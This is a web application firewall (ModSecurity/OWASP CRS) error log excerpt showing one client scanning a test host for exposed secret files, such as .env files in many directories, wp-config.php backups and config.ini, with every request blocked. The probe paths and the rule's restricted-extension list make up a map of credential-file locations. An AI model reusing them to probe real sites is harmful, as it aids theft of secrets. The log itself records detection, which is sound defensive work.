&quot;aZ-NqJqP6Uim1aZiP_g4JwAAAAY&quot;]
[Thu Feb 26 01:02:48.036506 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4JwAAAAY&quot;]
[Thu Feb 26 01:02:48.036661 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4JwAAAAY&quot;]
[Thu Feb 26 01:02:48.089656 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4KAAAAAY&quot;]
[Thu Feb 26 01:02:48.089886 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4KAAAAAY&quot;]
[Thu Feb 26 01:02:48.090044 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4KAAAAAY&quot;]
[Thu Feb 26 01:02:48.145205 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4KQAAAAY&quot;]
[Thu Feb 26 01:02:48.145413 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4KQAAAAY&quot;]
[Thu Feb 26 01:02:48.145569 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4KQAAAAY&quot;]
[Thu Feb 26 01:02:48.205393 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4KgAAAAY&quot;]
[Thu Feb 26 01:02:48.205934 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4KgAAAAY&quot;]
[Thu Feb 26 01:02:48.206104 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4KgAAAAY&quot;]
[Thu Feb 26 01:02:48.245599 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk8wAAAAI&quot;]
[Thu Feb 26 01:02:48.245919 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk8wAAAAI&quot;]
[Thu Feb 26 01:02:48.246138 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk8wAAAAI&quot;]
[Thu Feb 26 01:02:48.246291 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk8wAAAAI&quot;]
[Thu Feb 26 01:02:48.346097 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk9QAAAAI&quot;]
[Thu Feb 26 01:02:48.346502 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk9QAAAAI&quot;]
[Thu Feb 26 01:02:48.346763 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk9QAAAAI&quot;]
[Thu Feb 26 01:02:48.348608 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk9QAAAAI&quot;]
[Thu Feb 26 01:02:48.381409 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4LwAAAAY&quot;]
[Thu Feb 26 01:02:48.381628 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4LwAAAAY&quot;]
[Thu Feb 26 01:02:48.381786 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4LwAAAAY&quot;]
[Thu Feb 26 01:02:48.405051 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MAAAAAY&quot;]
[Thu Feb 26 01:02:48.405261 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MAAAAAY&quot;]
[Thu Feb 26 01:02:48.405417 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MAAAAAY&quot;]
[Thu Feb 26 01:02:48.433411 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MQAAAAY&quot;]
[Thu Feb 26 01:02:48.433628 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MQAAAAY&quot;]
[Thu Feb 26 01:02:48.433787 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MQAAAAY&quot;]
[Thu Feb 26 01:02:48.456852 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-AAAAAI&quot;]
[Thu Feb 26 01:02:48.457296 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-AAAAAI&quot;]
